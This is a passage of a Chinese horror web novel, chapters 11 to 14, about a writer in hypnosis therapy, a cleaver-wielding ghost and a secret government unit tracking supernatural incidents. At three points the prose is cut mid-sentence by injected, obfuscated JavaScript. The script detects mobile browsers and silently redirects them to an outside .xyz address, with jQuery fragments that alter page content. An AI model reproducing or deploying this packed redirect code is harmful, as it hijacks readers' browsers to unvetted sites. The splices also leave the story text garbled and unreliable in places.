医生并没有打断宴泠昭的讲述,宴泠昭停了几秒后继续说道:
“就在不久前,我的邻居总算是想开了,下定决心要离婚。但也就是从这个时候开始,我再一次犯病时,她在我眼中的样子变了,变成了一个可怕的怪物......”
“她的丈夫也变了,他们都变成了怪物。”
11. 第 11 章
“变成怪物后,他们有对你做什么吗?”
宴泠昭想了想,说:“邻居请我吃饭,她做的饭菜也变异了。不过味道还不错,邻居的手艺很好。”
医生:“......”
“对了,她丈夫对我动手了。”
医生闻言肃然起来,“你有受伤吗?”
宴泠昭摇头,慢吞吞的道:“没有,但他变异的样子吓到我了,我下意识打了他一拳。邻居听见动静开门出来,将她的丈夫喊进了屋。”
医生一怔,“他们不是离婚了吗?”
“邻居说她叫丈夫回来拿东西——其实,关于他们到底有没有分开,真实性我无法确定,我也只是听她说而已。”
医生沉默。
有些人自己不愿意改变,别人再怎么帮忙也没用。作为医生,他见过太多类似的例子。
那么......
看来,青年的病情确实大概率是被暴力行为刺激严重的。
医生决定再次为宴泠昭进行催眠。这次催眠,一来是为了让宴泠昭高度紧张的精神得到放松,二来是想进一步观察宴泠昭病情加重的严重程度,以便重新评估治疗方案。
医生起身拉上窗帘,将室内光线调至适宜的昏暗程度。然后从衣服口袋里拿出一块怀表,回到宴泠昭面前,语气轻柔舒缓的说道:“现在,请你闭上眼睛,深呼吸,让自己慢慢放松下来。跟随我的声音,抛开所有杂念。”
说着,医生晃动手中的怀表,怀表发出清脆且规律的“咔哒”声。伴随这阵声响,宴泠昭逐渐放松身体,向后靠在椅背上,意识慢慢陷入熟悉的黑暗中。
......
“咔哒”声不知什么时候消失了。
熟悉的失重感,他依旧在坠落。耳边也再次传来那些绝望的哭喊声和世界崩塌的声音。
但不同的是,这回他听见有陌生的声音在说话。
“我不想死......为什么世界会变成这样......”
“我们......需要......新的秩序......”
嗯?
宴泠昭稍稍一愣。
以往经历的几次催眠,他听到的都是那道熟悉无比的声音,重复的说着【我是谁】【你是谁】。
然而这次,却出现了不同的声音。
或许,是因为他的病情加重了的缘故?
......
宴泠昭睁开双眸,对上医生满含关切的眼睛。
“感觉如何?”医生轻声询问。
宴泠昭顿了几秒,说道:“我听见不一样的声音。”
本以为宴泠昭又会像往常一样说“和之前差不多”的医生,一时不知道该欣喜还是难受。
——没有变化,意味着治疗停滞不前。
——好不容易有变化了,但是是病情加重的变化。
......那果然还是该难受。
医生深吸一口气,尽量让自己的语气听起来更加温和舒缓:“那些声音都说了什么?”
宴泠昭重复了一遍。
听完,医生陷入深深的沉思。
此前,青年被催眠时反复出现“世界坍塌”的剧情,这一现象表明,在青年的潜意识里,对现实生活的失控感以及安全感的缺失达到了一定程度,极有可能是长期承受巨大压力的一种具象化体现。
医生曾特意询问宴泠昭在现实生活中的状况,诸如是否面临压力、或是身边有没有人给他带来困扰之类的。
宴泠昭给出的回答都是否定的。
可如果真如宴泠昭所说毫无压力,他又怎会频繁梦到世界坍塌?
这其中的缘由,要么是宴泠昭有意隐瞒了某些事实,要么就是宴泠昭情况特殊,以自己目前的专业能力,暂时找不到其它合理的解释。
而这次催眠中出现的“新元素”——秩序。虽然与“重建世界”的概念不能完全等同,但在某些层面上确实有着相似的含义。
医生不禁思索,有没有可能这其实是宴泠昭病情好转的一种迹象?
可,如果宴泠昭真的是在往好的方向转变,那么在按时服药的情况下,为何病情还会频繁发作?甚至连之前在他眼中正常的人,如今在他犯病时也出现了变异的情况。
这错综复杂的病情,让医生感到无从下手。经过一番思索后,医生一脸诚恳且略带愧疚的对宴泠昭说道:“非常抱歉,就目前的情况来看,我可能无法继续为你提供有效的治疗了。不过,我有一位师兄,他在这方面经验丰富、医术精湛,我可以把你推荐给他,他也许能找到更适合你的治疗方法。”
宴泠昭同意了。
医生当即便拿起手机,拨通了师兄的号码。
电话接通后,他先是匆匆问候了几句,便赶忙切入主题,将宴泠昭病情复杂难治,自己力有不逮,希望师兄接手治疗的事情简单明了的说了一遍。
电话那头的师兄耐心听完,略作思索后便应允了下来。
医生连声道谢,又简单聊了几句后,这才挂断电话。接着转过身,面带几分歉意的看向宴泠昭:“师兄最近行程很挤,不过下周三他刚好有段空闲时间......你们先加个联系方式吧,方便后续沟通联系。”
说着,医生在vx里将师兄的个人名片推给了宴泠昭。
宴泠昭点开名片,点击添加好友。没多久,那边就通过了验证。
见状,医生适时的介绍道:“我师兄姓傅,在业内很有名。你叫他傅医生就行。”
之所以添一嘴有名,是为了让宴泠昭知道他不是随意找个医生接手他的治疗。
宴泠昭点了下头,默默将备注改成“傅医生”。
这时,对面刚好发来消息:【下周三上午 10:00 有空么?】
宴泠昭回复:【有的】
看到两人顺利搭上话,还约好了时间,医生悬着的心终于落了地。
师兄如今在业界地位极高,慕名而来的患者数不胜数,平时已经很少接收新病患了。这次估计是给自己面子,才愿意接手宴泠昭。
想到这,医生心里顿时又感动又惭愧,琢磨着找个时间请师兄来家里吃饭,至于为什么不在外面吃,师兄不喜欢吃外面的饭。
***
《雨巷》
第7章
【同学聚会的热闹余温尚未散去,六位在学生时代便情谊深厚的年轻男女兴致盎然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15429685|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,仍觉意犹未尽。于是,决定前往卡拉 OK 继续狂欢。
反正次日恰好是周末,无需为工作烦忧。
前往最近的那家卡拉OK的途中,李娜因为在聚会期间饮酒过多,此刻胃部翻江倒海,极不舒服。她向众人比出一个停止的手势,声音微弱的说:“我......我想去吐一下。”
同行的两位女生闻言赶忙一左一右,搀扶着李娜,走到街边的一条巷子口。
李娜立即蹲下身子,再也控制不住开始呕吐起来。
剩下的三位男生——于延津、邹飞和陈宇良,则站在不远处,悠然的抽着烟,静静等待着。
起初,还能清晰的听到两位女生轻声安慰李娜的话语,以及李娜呕吐时发出的声音,在寂静的夜里显得格外清晰。
然而,不知从何时起,她们声音消失了。
于延津反应最快,下意识朝巷口望去,然后愣住。刚刚还在那里的三个女生,此刻竟消失得无影无踪。他急忙转回头,对身旁的两人说道:“李娜她们走了?”
“没有啊,李娜不是在那边吐吗?”邹飞不假思索的回道,说着便回头看向巷口,似乎想要证实自己所说的话。
可当他的目光落在那空荡荡的巷口时,整个人瞬间呆住:“诶,人、人呢?”
陈宇良:“不会是遇到坏人被抓走了吧?她们刚刚就在巷口,巷子里面黑漆漆的,说不定藏着什么人,把她们强行掳走了。”
邹飞语气虽镇定,却难掩一丝慌乱:“怎么可能,我们离得又不是很远。要是真出了什么事,她们肯定会尖叫求救,我们肯定能听见声音的。”
陈宇良却不这么认为:“万一她们连出声的机会都没有呢?不行,我们得进去看看。”
他们到底是一同出行的同伴,倘若三位女生真的遭遇了不测,他们也逃不脱责任。
简短的交流过后,三人怀着忐忑不安的心情,朝着巷子走去。
当他们的身影踏入巷子的那一刻,仿佛被黑暗的巨兽一口吞噬,消失得干干净净。只留下空荡荡的街道,在清冷的月光下,弥漫着愈发诡异的气息......】
深夜。
一条静谧的巷口,伫立着六个穿着时尚的年轻男女。
其中有个女生浑身散发着浓烈的酒气,显然没少喝酒。此刻,她难受地蹲在巷口,对着地面呕吐不止。
旁边的两个女生相互对视一眼,心领神会,随即弯下腰,在呕吐的女生身旁轻声安慰着。
另外三个男生则走到不远处,各自掏出烟点燃。缭绕的烟雾在昏黄的路灯下升腾,他们一边吞云吐雾,一边聊着天。
虽说表面上三人都专注于交谈,但他们的余光总会时不时的朝女生们所在的方向瞥去,时刻留意着那边的动静。
“你们说,上司会提拔我吗?”
“这个估计得看运气了。”
三人你一言我一语的聊着,气氛很是轻松。
就在这时,其中一个男生突然停下话语,面露疑惑:“咦?姜诗云她们呢?”
剩下的两个男生闻言下意识转过头同时看向巷口。
只见那里空空如也,原本应该待在那儿的三个女生不见了。
12.第 12 章
首都政府大楼内部,一楼尽头,最靠里的那间房门上挂着一块写有“特别档案资料管理处”字样的牌子。
推开房门,映入眼帘的是一个普普通通平平无奇的档案室。
一排排高大的档案柜整齐排列,室内弥漫着陈旧纸张特有的气息,混合着淡淡的木质香味,一切看似都很平常。
但在这个档案室里一个并不起眼的柜子后面,隐藏着一道小门。小门的颜色与周围环境融为一体,也不曾有丝毫缝隙,用肉眼观察是绝看不出异样的。
进入小门,是一条向下延伸的楼梯。沿着楼梯下行,正对着一部电梯。
电梯口,守着一名士兵。
任何人想要进入电梯,都必须经过严格的身份核对。首先,是要与这位士兵进行身份信息的确认,详细说明来意并提供相应的证件。完成身份核对之后,还需当场进行生物特征验证,通过先进的科技设备扫描指纹、面部识别等,确保身份的真实性与准确性。
当这一系列复杂而严谨的程序全部顺利完成之后,才被允许进入电梯。
电梯内面板上统共有3个按钮,分别是-1、-2和-3。
-1层。
监控室。
投影在半空中的屏幕上,突然弹出一个醒目的红色三角形,三角形里是一个感叹号。紧接着,一道温柔的机械女声响起:“警告。侦查组第三小队信号消失,消失前定位——”
随着机械女声的播报,光幕上弹出一张地图,是整个B市的三维立体图。地图不断放大,每一次放大,画面的精度都会提高一分。
很快,可以清晰的看到地图上一条巷子附近停着一个白色的小点,小点上方写着“侦查组三小队”。
旁边则是对具体位置的描述:B市兴阳区复兴街珍视眼镜店旁。
***
“呕!”披着一头大波浪卷发的女生弓着身子干呕着。
站在她左手边、盘着精致发髻的女生脸上温柔的神情消失不见,取而代之的是一脸严肃:“可以了,我们被选中了。”
——国家调查研究发现,只要依照小说里所描绘的场景模拟,尽可能高度契合其中的设定,就有相当大的概率被该鬼怪选中。
话音刚落,只见前一秒还沉浸在呕吐痛苦中的卷发女生立刻直起身子,迅速从包包里掏出湿纸巾,擦拭掉粘在嘴角的呕吐物,声音沙哑的道:“卓队他们不在?”
另一个扎着高马尾的女生接话道:“要么是他们还没发现,要么就是咱们被分开了,这种情况之前预测过,不意外。好了,现在当务之急是赶紧找个地方躲雨,根据得到的情报,两分钟后会下雨。一旦被雨水沾到,就会被女鬼打上标记,到时候就麻烦了。”
三人环顾四周,只见巷子两侧都是光滑的墙壁,没有任何可供躲避的房间或入口。不过她们也不着急,因为她们身上带的有伞和雨衣。
突然,三人的目光停在同一个方向:那里有一个长方形的大垃圾桶。
......
一边穿上雨衣,一边朝垃圾桶跑去。
掀开垃圾桶的盖子,里面存放的垃圾并不多,三人见状不约而同的松了一口气。然后毫不犹豫地钻了进去,狭小的空间里弥漫着刺鼻的恶臭味,三人却表情平静,跟没有闻到似的。将盖子重新盖上后,在黑暗中静静等待。
另一边。
卓高元三人在主动进入巷子后,确实也被拖入了鬼蜮。女生们之所以没看到他们,是因为双方不处于同一空间。
......
黑暗幽深的窄巷里,唯有惨白的月光带来一点光亮。
卓高元、朱烨华、陆彭祖三人身着雨衣,背靠着背,神色凝重的警戒着。雨衣的材质特殊,散发着微微的金属光泽,这是他们对抗刀娘的第一道防线。
三人的目光警惕的穿梭在黑暗的每一个角落,不放过任何一丝异动。
早在行动之前,他们就得知了刀娘的能力——一为力量强大(小说中描述砍水泥钢筋犹如切豆腐般轻松),二为能操控雨水标记人类,借此瞬间移动发动攻击。
一阵凉风幽幽袭过,恰似一条冰冷的蛇蜿蜒爬过肌肤,带来丝丝缕缕深入骨髓的寒意。
雨滴零星落下,起初只是稀稀拉拉的几点,随后逐渐密集起来,不间断地敲击着三人身上的雨衣,发出噼里啪啦的声响。
黑暗深处,一个身影如鬼魅般若隐若现,影影绰绰间,能瞧见其手中似乎握持着一个物件。
随着那道身影一步一步的接近三人,走到了洒落在巷中的一缕月光之下,借着苍白的光线,一把闪烁着森然寒光的菜刀清晰的显露出来。
也让三人看清了身影的模样。
那是一个女人,头发凌乱的散落在双肩,几缕湿漉漉的发丝垂落在脸前,半遮半掩间,后方那双眼睛便显得尤为阴森可怖。她的双眼一眨也不眨,宛如深不见底的死潭水,透着一种令人毛骨悚然的冰冷与恶意,窥视着眼前的猎物。
女鬼看着三人身上密不透风的雨衣,歪了歪头,露出一个讥讽的笑,而后俯身冲了过去,手中的菜刀径直落向最前方的朱烨华。
朱烨华瞳孔骤缩,迅速侧身闪避,同时挥动手中的短棍,猛击女鬼手臂。
卓高元同时发动攻击,手中长刀划出一道凌厉的弧线,直逼女鬼咽喉,逼得女鬼不得不后退。
一番交手后,女鬼发现三人实力不凡,正面强攻难以取胜。于是,她改变策略,瞅准时机,专攻他们的雨衣。
只要雨水沾到他们身上,她就能随时瞬移到他们身边,让他们防不胜防。
三人中陆彭祖率先露出破绽,女鬼抓住机会,手中菜刀猛地一挥,“嘶啦”一声,陆彭祖雨衣的肩部被划出一道大口子。冰冷的雨水顺着破口渗了进去,滴落在他的肩头。
女鬼嘴角勾起一抹残忍的笑意,下一秒闪现到陆彭祖身后,菜刀高高举起,狠狠砍下。
陆彭祖感受到背后的致命威胁,拼尽全力向前一扑。然而,女鬼的攻击太快,菜刀还是砍在了他的背上,鲜血顿时染红了雨衣。
卓高元和朱烨华见状心急如焚,朝着女鬼攻去。
女鬼却并不恋战,利用灵活的身法与他们周旋,同时不断寻找机会破坏他们的雨衣。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15434736|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>局势愈发危急,卓高元和朱烨华的雨衣也陆续遭到破坏,雨水渗入,自此,三人均被标记。
女鬼咧开嘴角,露出得逞的微笑。
接下来,宛如猫捉老鼠一般,女鬼并不急着弄死三人,而是时不时瞬移给一刀,戏弄折磨三人。
陆彭祖深知这样下去他们必死无疑,他咬紧牙关,拼尽最后一丝力气,猛地抱住女鬼,大声吼道:“卓队!”
卓高元拔出一直藏在外套下的手枪,对准女鬼扣下扳机。
“砰!”
女鬼发出一声痛苦的咆哮,黑色的血液飞溅而出。她将陆彭祖甩开,化作一道黑影消失在黑暗之中。
陆彭祖狠狠撞在墙上又跌落倒地,吐出一口血。
卓高元低骂了一声“操!”,跑到陆彭祖身边蹲下,只见陆彭祖脸色苍白,气息微弱。朱烨华挨了一刀状态也不好,两个队员都倒在地上,卓高元根本不敢去追女鬼,他怕自己一走,女鬼返回来杀死两人。
——至于卓高元为什么一开始不拿枪,因为鬼怪(诡异)也是会审时度势的,如果知道他们身上有抢,不可能选他们为猎物。
可惜忍辱负重半天,两个队友也身受重伤,最后却还是让女鬼跑了,卓高元气得眼睛发红。
这时,一阵汽车按喇叭的声音由远及近传来,昏黄的路灯光也亮斜斜地投射进巷子。
卓高元腰间的联络器急促地响了起来,与此同时,身后传来一个急切的女声:“卓队?!鬼域这是消失了?我们好像没有碰到刀娘......”
***
被官方称作刀娘的女鬼逃回家中。她虚弱地靠在桌子旁,双手撑着桌面,才勉强稳住摇摇欲坠的身体,眼里闪烁着浓烈到近乎实质化的恨意与杀意。
桌子上,皮肤融化到一半凝固的头颅大气都不敢喘一下,努力将自己的存在感降到最低。
奈何对于鬼怪而言,重伤之后想要快速修复自身,最为便捷的方法便是吞噬同类。所以,头颅终究没能逃脱厄运。
女鬼伸出手,一把抓住它,指甲深深嵌入头颅的皮肉之中。随后,张开嘴巴,一口一口地撕咬起来。
头颅发出痛苦的哀嚎,声音凄惨至极。随着刀娘一口一口地吞咽,惨叫声逐渐微弱,最终彻底消失。
稍微恢复了一些体力的刀娘转头看向门口。她的视线仿佛穿透防盗门,直直落到对门邻居的门上,神情里透露出一种偏执又疯狂的情绪。
——或许是因为受伤不轻的缘故,刀娘此刻对宴泠昭的杀意攀升到了前所未有的顶峰。
在鬼怪的世界里,最浓烈的感情是恶意。
就如同人类受伤时渴望得到安慰一样,同理,鬼怪受伤后,也会寻求“慰藉”,只不过它们的方式是伤害。
刀娘还活着的时候,宴泠昭曾给予过她许多帮助,刀娘心存感激。那份感激的好感有多浓烈,在她死后,转化为的恶意就有多浓烈。
杀了他......?
杀了他......
杀了他。
杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他杀了他!
13.第 13 章
汤匙与玻璃碰撞,发出清脆的响声。水蒸气自杯中袅袅上升,如轻柔的薄纱,在空气中弥漫开来。浓郁醇厚的香气四溢飘散,浅褐色的液面翻腾滚动形成旋涡,随着搅拌动作的停下,逐渐归于平静。
一杯速溶咖啡就泡好了。
宴泠昭端起咖啡杯,放到嘴边,轻抿了一小口。温度还有些烫嘴,不过水加的恰到好处,不浓不淡刚刚好。
可以先放放,等凉一点了再喝。
宴泠昭将咖啡杯放在桌上,而后拉开椅子坐下,对着电脑屏幕上的空白文档,准备开启新一天的工作。
嗯......先回顾一下上章结尾。
宴泠昭一边思索着,一边将双手悬停在键盘上方。
大约过了半分钟,在脑海中构思好思路后,宴泠昭终于落下手指,房间里顿时响起一阵有节奏的打字声。
沉浸在码字世界中的宴泠昭丝毫没有察觉到有危险正悄然降临:他家门缝下面涌进一股头发,仿佛有生命一般,扭动着、咕蛹着钻进客厅,最后汇聚成一个女人。
这个女人浑身散发着令人毛骨悚然的气息。脸庞深陷,皮肤毫无血色,透着一种不正常的死白。
湿漉漉的头发黏在脸上,缝隙间露出一双死死睁大的眼睛,漆黑的眼瞳占据了绝大部分,仅有极小的余角有一点点眼白。粘稠的恶意几乎要从里面溢出来。
她无声无息的朝背对着自己的青年飘去,当事人却对此浑然不觉。
就在女人已经接近宴泠昭,距离宴泠昭只剩下两步路的距离时,敲击键盘的声音戛然而止。
——倒不是因为宴泠昭发现了女人的存在或是写作遇到了瓶颈。
单纯是他突然感到一阵头晕目眩,视线也变得模糊不清,眼皮越来越沉重,眼前的文字扭曲成模糊的黑影。然后,世界陷入黑暗。
而这在女人看来,就是宴泠昭毫无征兆的停下动作,一动不动的对着电脑发呆。
女人裂开嘴角,手指收紧,缓缓举起右手,菜刀上还残留着斑驳的血迹,用力向下劈去。
......
菜刀悬停在半空。刀锋距离碰到青年仅一寸之遥,然而就是这看似咫尺的距离,却仿佛横亘着一堵无形的墙,再无法向前推进半分。
气氛莫名变得微妙起来。
一股看不见的力量躁动着蠢蠢欲动。
女人瞳孔剧烈颤动,恐惧爬上她那张狰狞的脸庞。接着,她的身体猛地一颤——“咔嚓”。
女人的脖子以一种违背常理的姿态,硬生生拧转了 180°。而后,她惊恐的瞪大双眼。
她看到了,青年投射在墙上的影子蠕动、膨胀,仿佛有了生命一般,最后分裂成无数条扭曲变形的触须,张牙舞爪地伸展着,缓慢的朝她的影子爬去。
等等......她什么时候有影子了?
女人意识到了什么,想要逃跑,但为时已晚。
空气中那股无形的躁动的力量将她按住,她只能眼睁睁看着青年诡异恐怖的影子逐渐吞噬自己的影子。
“咯吱咯吱......”
房间里持续了一阵咀嚼和吞咽的声音。
青年自始至终都没有回头,只有文档上的字数在不断增加,就好像有一双看不见的手在不停输入。
......
宴泠昭眨了眨眼睛,视线落在文档下方显示的字数上,不禁露出疑惑的神情。
他记得自己好像只是写了一个开头,大概500字左右,怎么转眼间就变成了2000多字?
......
......
哦,想起来了,他后面又写了一些。
宴泠昭拿起放在一旁的咖啡喝了几口,接着再次沉浸在码字的世界中。
***
上午 9 点,阳光透过淡薄的云层,洒在上阳区公安局的大楼上。
前天晚上负责接听电话的联络员冯正谊今天轮到白班。他刚到工作岗位,椅子还没捂热乎,就听到一个声音从门口传来:“冯正谊同志在不在?”
冯正谊下意识抬头看向门口,见竟是副局长在叫自己,心里不禁“咯噔”一下,赶忙站起身应道:“我在。”
副局长抱着保温杯,语气祥和的说:“你跟我过来一下。”
冯正谊忙不迭说道:“好的。”随即起身,快步跟在副局长身后。
等两人的身影远去,办公室里的其他工作人员才开始小声嘀咕起来。
“咋回事啊?小冯该不会是犯什么事了吧?莫非是工作上出了问题?”
“不知道啊,应该没有吧,冯正谊平时做事挺认真的,不像是会出岔子的人。”
另一边,冯正谊心里七上八下,紧张兮兮的跟着副局长来到了他的办公室。
——冯正谊完全没料到里面还会有其他人。
他也从来没见过这个人。
副局长走进办公室后,对那个人说道:“人我叫来了,你问他吧。”
冯正谊顿时一脸茫然,站在原地不知所措。
副局长看出了他的不安,出门之前,拍了拍他的肩膀,安慰道:“没事儿,人家问什么你如实回答就是了,记住不要有任何隐瞒,也别添油加醋。要是不知道,你就直接说不知道,放松点。”
副局长说完便出去了,并顺手关上了门。
这时,办公室里的那个人微笑着看向冯正谊,语气尽量温和的说道:“小冯是吧,别紧张,我就问你几个问题,你老老实实回答就行。”
......
过了一会儿,冯正谊打开门,一眼就看到副局长正站在门口靠近窗边的位置抽烟。他赶忙恭恭敬敬的叫了一声:“周局。”
周副局长微微点了点头,算是回应。
等到冯正谊的身影消失在拐角处下了楼,副局长才走进自己的办公室,然后掐灭手中的烟头,将其扔进垃圾桶里。接着看向背对着自己站在窗边、凝视着窗外的老朋友,开口问道:“怎么样?”
那人转过身,摇了摇头,道:“意料之中,他什么都不知道。我那边的人也仔细查过了,确定不是通过正常手段抹除的记录——目前应该也没人能黑得进国防系统。”
副局长听后,下意识的又想抽烟了,但还是强忍着克制住了冲动,追问道:“所以呢?”
那人表情严肃的道:“定义为鬼来电。录入诡异事件。”
【诡异事件A类
代号:鬼来电
描述:第1起案件发生在7月3日凌晨,公安局一名联络员接到报警电话。电话那头声称抓到了小偷,要求警方派人前去处理,并提供了一个地址。然而,经核实,该地址并不存在。
以防万一,当晚值夜班的三名民警前往和地址相关附近展开调查。
后返程途中,不知因何缘故,车辆行驶速度极快,最终失控撞上路边。由于油箱受到猛烈撞击,引发爆炸,导致车内三名民警全部不幸遇难。
我方追查那通电话,发现通讯记录
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440883|169183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里面根本找不到有关那个电话的任何信息。但通过调取当晚的监控视频,能看到联络员在那天晚上确实接到了一个电话。
鉴于情况的复杂性和特殊性,我方并没有向联络员透露事情的真实全貌,而是选择以较为常规的方式询问联络员,详细了解了那天晚上的电话内容。
通过多方面的综合考量与分析,现已排除联络员存在作案动机的可能性。
怀疑:无法确定联络员到底是接到了鬼来电,还是受到了其它诡异力量的影响。(待考察)】
......
下午五点。
冯正谊结束工作,走出公安局大楼。
他刚踏出大门,就有几个人不露声色的跟上了他。
***
无边无际的黑暗空间,没有一丝光亮,也没有任何声响,时间在这里仿佛也凝固了,只剩下无尽的寂寥如同实质般蔓延,渗透进每一寸虚无。
田燕婉在浑浑噩噩间,意识逐渐从深沉的黑暗中浮出。恍惚中,她听到了一些细碎的声音,像是来自遥远的彼岸,又仿佛就在耳边低语。
“来新人了。”苍老的男声响起,声音在黑暗中回荡,带着一种腐朽、阴森的气息。
“你很高兴?”稚嫩的女声平静回应,声音清脆但透着彻骨的寒意。
“当然,人越多我越高兴。”苍老的声音再次响起,笑声中夹杂着丝丝缕缕的恶意。
短暂的沉默后,稚嫩的女声幽幽开口:“因为你是孤老而死,所以喜欢热闹?”
“咳咳!谁喜欢热闹了!”苍老的声音像是被激怒了,剧烈地咳嗽起来,“我看看......咦,居然不是那个小子吗?噢,也是老熟人了。我记得你是叫、叫......叫什么来着,反正你姓田,我没说错吧。”
田燕婉猛地睁开眼睛,一张布满皱纹、形如枯槁的脸出现在她眼前,那双浑浊的眼睛里闪烁着诡异的光芒。
田燕婉吓得头皮发麻,喉咙里不受控制的发出一声尖叫。
还没等她从极度的恐惧中缓过神来,身后又传来一道女童音:“欢迎新成员加入。”
田燕婉惊恐的转头看去,一个身形娇小的无头身体就站在自己旁边,穿着一条红裙子。
田燕婉瞳孔骤缩,彻底崩溃了,喊道:“鬼啊!”
穿着红裙的无头身体头上具现化出一个黑雾形成的问号,语气带着疑惑:“你不也是鬼吗?”
田燕婉闻言,整个人如遭雷击。她瞪大双眼,脸上的恐惧还未消散,却又多了几分迷茫与错愕。脑海中无数杂乱的思绪翻涌,一些模糊的记忆片段不受控制的浮现上来。
——她看到了熟悉的房间,温馨的布置曾是她对家的美好憧憬。然而此刻,这个场景却变得无比狰狞。
她看到了丈夫扭曲的脸,眼中满是疯狂。菜刀在灯光下反射出冰冷的光,无情的刺进她的身体。
【“宴泠昭送你的刀,你很喜欢是吧?那死在他的刀下也很爽,对吧?!”】
......
所有的记忆于此刻复苏。田燕婉想起来了,原来自己早就死了。
怨气被点燃,恨意在滋生。
就在她即将完全陷入癫狂之际,“啪”的一声脆响,一个巴掌重重地拍在她的背上,打断了她的变化。
老人皱着眉头,语气不满的道:“冷静点,别刺激我,我不想打架。”
田燕婉被这一巴掌打得愣在原地,张了张嘴,最终只憋出一排无声的省略号。
14.第 14 章
午后两点,太阳正烈,刺目的白光仿佛要把整个世界都烤化,树叶被晒得蜷缩起来,小水塘以肉眼可见的速度迅速缩小......
伴随知了不知疲倦地嘶鸣,更添了几分燥热。
屋内,空调嗡嗡作响。
宴泠昭懒洋洋地窝在柔软的沙发里,眼皮耷拉着,一副没精打采的样子。修长的手指有一搭没一搭的在手机屏幕上滑动着。指尖轻点,屏幕上的页面随之翻动,发出轻微的触屏音效。
【《阳城日报》消息:6月27日晚8时许,位于市中心繁华地段的一家知名火锅店突发爆炸。
现场监控画面显示,店内先是传出一声闷响,紧接着火光冲天,玻璃碎片四处飞溅。巨大的冲击力将周边店铺的门窗震碎,附近街道瞬间陷入混乱。
初步统计,此次爆炸造成49人受伤,其中12人伤势严重,生命垂危。事故原因正在进一步调查中......
《云川新闻》报道:6月28日,湖灵公园发生一起溺水悲剧。据悉,当天有几名年轻人相约到此游玩,其中一名男子在未做好安全防护措施的情况下贸然下水游泳,导致抽筋溺水,同伴发现后虽立即呼救并尝试救援,但为时已晚。
待救援人员将其打捞上岸时,该男子已无生命体征。此次事件再次为人们敲响了夏季游泳安全的警钟......
《治丰媒体》发布:6月29日清晨,一头黑熊闯入一户村民家中。当时,这户人家的女主人正在院子里晾晒衣服,突然遭遇黑熊袭击。其家人发现后赶忙报警求救,但由于地处偏远,救援赶到时悲剧已经发生。
黑熊的闯入最终造成一人当场死亡,两人不治身亡,三人身受重伤。
目前,该黑熊已被相关部门捕获,后续将对其来源及事件具体情况展开详细调查......】
宴泠昭顿了顿,加快翻页的速度。
某建筑工地发生高空坠物事故,导致两名工人不幸遇难;一辆长途客车在高速公路上爆胎失控,发生侧翻,造成多名乘客受伤,其中数人情况危急;一栋老旧居民楼因电线老化引发火灾,火势迅速蔓延,虽经消防队员全力扑救,但仍有多名居民因吸入过多浓烟而失去生命......
最近这段日子,事故真的好多。宴泠昭半躺在沙发上,脑海里不由自主的冒出这个念头。
虽说每年夏季向来都是事故高发期,可今年事故发生的频率和严重程度,与往年相比,都算得上触目惊心。
说起来,今年是2060年。
......记得他之前刷到过一个很有名的学者的视频。这名学者早在十年前就离世了,但他留下的视频至今仍热度不减。
其中有一个视频,讲的是对2060年的预言。依稀记得那位学者说2060年是个很特殊的年份,不过具体是怎么个特殊法,宴泠昭不记得了,只记得学者郑重警告大家这一年尽量不要前往人员密集的场所,日常出行也要格外留意安全,这一年会有很多、很多的人被带走。
宴泠昭不是个迷信的人,也不相信这些东西,单纯是好奇才点开的评论区,然后发现有不少网友留言表示这位学者曾经预知的很多事情都灵验了。
因为说的过于玄乎,很难不记住。
......这么看来,那位学者说的还挺准。
收拢思绪,宴泠昭又刷了一会儿手机,刷着刷着困意来袭,将手机随意地丢到一旁,整个人往沙发上一躺,闭上眼睛,呼吸很快变得平缓。
再次醒来时,已是傍晚。天边朦胧的余晖透过窗户,轻柔地洒进屋子,给室内蒙上一层淡淡的橘黄色薄纱。
宴泠昭打开外卖app,画面还没显示出来,一阵敲门声传来。
“谁?”
门外传来邻居女人温和的声音:“小晏,是我,我做了点吃的,给你送来。”
宴泠昭起身去开门。
打开门,屋外的女人除了皮肤白得有些过分,几乎没有血色之外,整体状态还算正常——头发依旧温婉地盘在脑后,几缕碎发自然的垂落在脸颊两侧。身上穿着宽松舒适的家居服,脚上趿拉着一双棉质拖鞋......一切都和平时见到的样子相差无几。
......不,还是有一点区别的。
眼睛好像变大了?
戴了美瞳吗?
大概是怕宴泠昭拒绝,女人语气温柔的补充道:“我今天做饭的时候特意多做了一些,上次答应你的。”
听到这话,宴泠昭到嘴边的拒绝咽了回去,只好伸手接过。
拒绝的原因很简单:不好意思。
虽然上次女人送汤的时候说过以后还会做吃的给他,但客套话谁会当真。
而且,宴泠昭很不习惯接受他人的好意。人情都是要还的,你来我往
